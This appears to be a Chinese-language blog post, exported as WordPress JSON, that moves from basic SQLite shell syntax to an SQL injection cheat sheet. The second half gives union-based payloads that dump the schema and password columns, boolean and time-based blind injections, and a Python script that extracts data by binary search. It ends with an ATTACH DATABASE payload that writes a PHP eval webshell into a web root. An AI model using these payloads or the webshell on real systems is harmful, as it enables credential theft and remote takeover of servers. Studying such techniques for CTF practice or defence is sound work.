{"id":70,"date":"2026-03-14T22:34:52","date_gmt":"2026-03-14T14:34:52","guid":{"rendered":"http:\/\/47.118.30.30\/?p=70"},"modified":"2026-03-15T11:40:26","modified_gmt":"2026-03-15T03:40:26","slug":"sqlite","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/03\/14\/sqlite\/","title":{"rendered":"sqlite"},"content":{"rendered":"

sqlite\uff1a<\/h1>\n

\u57fa\u672c\u8bed\u6cd5\uff1a<\/h4>\n
\u6ce8\u91ca\u7b26\uff1a-- \uff0c\/* *\/\uff0c\u6ca1\u6709#\n\nsqlite3 [\u8def\u5f84]\/[\u81ea\u5b9a\u4e49\u6587\u4ef6\u540d].[\u81ea\u5b9a\u4e49\u62d3\u5c55\u540d]\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u6587\u4ef6\u540d\uff0c\u62d3\u5c55\u540d\u53ef\u4efb\u610f\uff0c\u6267\u884c\u540e\u5728\u5bf9\u5e94\u4f4d\u7f6e\u751f\u6210\u5bf9\u5e94\u6587\u4ef6\uff0c\u4e4b\u540e\u5c06\u63d0\u4f9b\u4e00\u4e2a sqlite> \u63d0\u793a\u7b26\n\u4f8b\uff1asqlite3 test.db\n\n\u6253\u5f00(\u6216\u521b\u5efa)\u6570\u636e\u5e93\uff1a\nsqlite>.open test.db\n\n\u5bfc\u5165\u5bfc\u51fa\uff1a\n# \u5bfc\u51fa\n$sqlite3 testDB.db .dump > testDB.sql\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/.dump:SQLite \u7684\u70b9\u547d\u4ee4\uff0c\u7528\u4e8e\u5bfc\u51fa\u6574\u4e2a\u6570\u636e\u5e93\u7684 SQL \u8bed\u53e5\uff08\u7ed3\u6784 + \u6570\u636e\uff09\n# \u5bfc\u5165\n$sqlite3 testDB.db < testDB.sql \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n\n\u521b\u5efa\u8868\uff1a\u7c7b\u4f3cmysql\nsqlite> create table test(\n   ...> id INT PRIMARY KEY     NOT NULL,\n   ...> name char(50) NOT NULL\n   ...> ); \n\n\u67e5\u770b\u8868\uff1a\nsqlite> .tables\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/.tables \u547d\u4ee4\u7528\u6765\u5217\u51fa\u9644\u52a0\u6570\u636e\u5e93\u4e2d\u7684\u6240\u6709\u8868\u3002\ntest\n\u6216\nsqlite> .schema test\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u67e5\u770b\u5b8c\u6574\u4fe1\u606f\nCREATE TABLE test(\nid INT PRIMARY KEY     NOT NULL,\nname char(50) NOT NULL\n); \n\n\u63d2\u5165\u6570\u636e\uff1a\nsqlite> insert into test (id,name) values (1,'alice');\nsqlite> insert into test (id,name) values (2,'bob'); \n\n\u67e5\u8be2\u8bed\u53e5\uff1a\nsqlite> select * from test;\nid          name\n----------  ----------\n1           alice\n2           bob\n\u6216\nsqlite> select name from test;\nname\n----------\nalice\nbob \n\nsqlite_master\uff1asqlite_master\u8868\u4e2d\u4fdd\u5b58\u6570\u636e\u5e93\u8868\u7684\u5173\u952e\u4fe1\u606f\u3002\nsqlite_master\u8868\u7684\u7ed3\u6784\uff1a\nsqlite> .schema sqlite_master\nCREATE TABLE sqlite_master (\n  type text,\n  name text,\n  tbl_name text,\n  rootpage integer,\n  sql text\n);  \n\/\/\u7279\u522b\u6ce8\u610f\uff1asql\u5b58\u50a8\u521b\u5efa\u5bf9\u8c61\u65f6\u6240\u4f7f\u7528\u7684\u539f\u59cbsql\u8bed\u53e5 \n\n\u4ecesqlite_master\u67e5\u8868\u540d:\nsqlite> select tbl_name from sqlite_master where type='table';\ntbl_name\n----------\ntest \n\n\u83b7\u53d6\u8868\u540d\u548c\u5217\u540d\uff1a\nsqlite> select sql from sqlite_master where type='table';\nsql\n----------------------------------------------------------------------------\nCREATE TABLE test(\nid INT PRIMARY KEY     NOT NULL,\nname char(50) NOT NULL\n) \n\n\u683c\u5f0f\u5316\u8f93\u51fa\u5185\u5bb9\uff0c\u80fd\u66f4\u76f4\u89c2\u67e5\u770b\u547d\u4ee4\u6267\u884c\u7ed3\u679c\uff1a\nsqlite>.header on\nsqlite>.mode column\nsqlite>.timer on\nsqlite><\/code><\/pre>\n
\u4e00\u4e9bpayload\uff1a<\/h4>\n
\u67e5\u7248\u672c\uff1a\n0' union select 1,2,sqlite_version();\n\n\u67e5\u8868\u540d\u548c\u5b57\u6bb5\uff1a\n0' union select 1,2,sql from sqlite_master;\nor\n0' union select 1,2,sql from sqlite_master where type='table';\nor\n0' union select 1,2,sql from sqlite_master where type='table' and name='user_data'; \n\n\u591a\u6761\u8bb0\u5f55\u65f6\u53ef\u4ee5\u4f7f\u7528group_concat\u805a\u5408\u6216\u8005\u4f7f\u7528limit\uff1a\n0' union select 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --\n\/\/ NOT like 'sqlite_%'\uff1a\u8fc7\u6ee4\u6389 SQLite \u5185\u90e8\u7cfb\u7edf\u8868\n\u6216\n0' union select 1,2,tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1 -- \n\/\/limit\u540e\u9762\u63a5\u7684\u6570\u5b57\u662f\u622a\u53d6\u7684\u884c\u6570\uff0c\u800coffest\u540e\u9762\u63a5\u7684\u6570\u5b57\u5219\u4e3a\u7b2c\u4e00\u6b21\u8fd4\u56de\u7ed3\u679c\u4e2d\u7684\u5220\u9664\u6570\u3002\u5728\u4e0a\u8ff0\u67e5\u8be2\u4e2d\uff0climit\u63d0\u53d6\u4e86\u4e24\u4e2a\u8868\u540d\uff0c\u7136\u540e\u7b2c\u4e00\u4e2a\u88aboffset\u5220\u9664\u6389\uff0c\u6240\u4ee5\u6211\u4eec\u83b7\u5f97\u4e86\u7b2c\u4e8c\u4e2a\u8868\u540d\u3002 \n\n\u53e6\u5916\u53ef\u4ee5\u901a\u8fc7\u4e0b\u9762\u7684payload\u83b7\u53d6\u5230\u683c\u5f0f\u5316\u8fc7\u7684\u5217\u540d\uff1a\n0' union select 1,2,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'`')),\"TEXT\",''),\"INTEGER\",''),\"AUTOINCREMENT\",''),\"PRIMARY KEY\",''),\"UNIQUE\",''),\"NUMERIC\",''),\"REAL\",''),\"BLOB\",''),\"NOT NULL\",''),\",\",'~~') from sqlite_master where type='table' and name='user_data' -- \n\n\u67e5\u6570\u636e\uff1a\n0' union select id,name,passwd from user_data; \n\n\u4f7f\u7528group_concat\u8fde\u63a5\u67e5\u8be2\u7ed3\u679c\uff1a\n0' union select 1,2,group_concat(passwd) from user_data; \n\/\/\u5f53\u7136\uff0chex\uff0climit\uff0csubstr\u7b49\u4e5f\u90fd\u53ef\u4ee5\u5728\u6ce8\u5165\u4e2d\u7528\u6765\u6784\u9020\u8bed\u53e5\u3002 \n<\/code><\/pre>\n
\u76f2\u6ce8\uff1a<\/h4>\n
bool\uff1a<\/h6>\n
select * from test where id =1 union select 1,length(sqlite_version())=6\n\/\/length(sqlite_version())=6\u8fd4\u56de0\u62161\uff0c\u6574\u4f53\u8fd4\u56deid=1\uff0cname=0\u62161\n\nselect * from test where id=1 and length(sqlite_version())=5;\n\nselect * from test where id=1 and substr(sqlite_version(),1,1)='3';<\/code><\/pre>\n
\u811a\u672c\uff1a<\/p>\n
import requests\nurl = 'http:\/\/ip\/index.php'\nflag = ''\nfor i in range(1,500):\n    low = 32\n    high = 128\n    mid = (low+high)\/\/2\n    while(low<high):\n        payload = \"-1' or substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}'\/*\".format(i,chr(mid))\n        datas = {\n            \"id\": payload\n        }\n        res = requests.post(url=url,data=datas)\n\n        if 'Username' in res.text:      # \u4e3a\u771f\u65f6\uff0c\u5373\u5224\u65ad\u6b63\u786e\u7684\u65f6\u5019\u7684\u6761\u4ef6\n            low = mid+1\n        else:\n            high = mid\n        mid = (low+high)\/\/2\n    if(mid ==32 or mid ==127):\n        break\n    flag = flag+chr(mid)\n    print(flag)\n\nprint('n'+bytes.fromhex(flag).decode('utf-8'))<\/code><\/pre>\n
sleep\uff1a<\/h6>\n
sqlite\u6ca1\u6709sleep()\u51fd\u6570\uff0c\u4f46\u662f\u6709\u4e2a\u51fd\u6570randomblob(N)\uff0c\u4f5c\u7528\u662f\u8fd4\u56de\u4e00\u4e2a N \u5b57\u8282\u957f\u7684\u5305\u542b\u4f2a\u968f\u673a\u5b57\u8282\u7684 BLOG\u3002 N \u662f\u6b63\u6574\u6570\u3002\u53ef\u4ee5\u7528\u5b83\u6765\u5236\u9020\u5ef6\u65f6\u3002<\/p>\n
\u800c\u4e14sqlite\u6ca1\u6709if\u51fd\u6570\uff0c\u53ef\u4ee5\u4f7f\u7528case\u6765\u6784\u9020\u6761\u4ef6<\/p>\n
select * from test where id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);<\/code><\/pre>\n
\u811a\u672c\uff1a<\/p>\n
\u00a0<\/code><\/pre>\n
\u5199shell\uff1a<\/h4>\n
SQLite \u7684 ATTACH DATABASE \u8bed\u53e5\u662f\u7528\u6765\u9009\u62e9\u4e00\u4e2a\u7279\u5b9a\u7684\u6570\u636e\u5e93\uff0c\u4f7f\u7528\u8be5\u547d\u4ee4\u540e\uff0c\u6240\u6709\u7684 SQLite \u8bed\u53e5\u5c06\u5728\u9644\u52a0\u7684\u6570\u636e\u5e93\u4e0b\u6267\u884c\u3002\n\u9644\u52a0\uff1a\nATTACH DATABASE 'filename' AS database_name;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n\/\/\u7528\u4e8e\u9644\u52a0\u6216\u53d6\u6d88\n\/\/DATABASE \u5173\u952e\u5b57\u662f\u53ef\u9009\u7684\uff08\u53ef\u5199\u53ef\u4e0d\u5199\uff09\uff0c\u4f46 \u6587\u4ef6\u540d\u5fc5\u987b\u7528\u5355\u5f15\u53f7 ' \u5305\u88f9\uff08\u9664\u975e\u662f\u7ed1\u5b9a\u53c2\u6570\uff09\u3002\n\/\/database_name \u662f\u4f60\u5728\u672c\u6b21\u8fde\u63a5\u4e2d\u7ed9\u8fd9\u4e2a\u9644\u52a0\u6570\u636e\u5e93\u8d77\u7684\u522b\u540d\uff08schema name\uff09\u3002\n\u53d6\u6d88\u9644\u52a0\uff1a\nDETACH DATABASE database_name; \n\npayload\uff1a\n';ATTACH DATABASE '\/var\/www\/html\/sqlite_test\/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST[\"x\"]); ?>'); --<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
sqlite\uff1a \u57fa\u672c\u8bed\u6cd5\uff1a \u6ce8\u91ca\u7b26\uff1a– \uff0c\/* *\/\uff0c\u6ca1\u6709# sqlite3 [\u8def\u5f84]\/[\u81ea\u5b9a\u4e49\u6587\u4ef6\u540d].[ […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-70","post","type-post","status-publish","format-standard","hentry","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/70","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=70"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/70\/revisions"}],"predecessor-version":[{"id":99,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/70\/revisions\/99"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=70"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=70"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=70"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}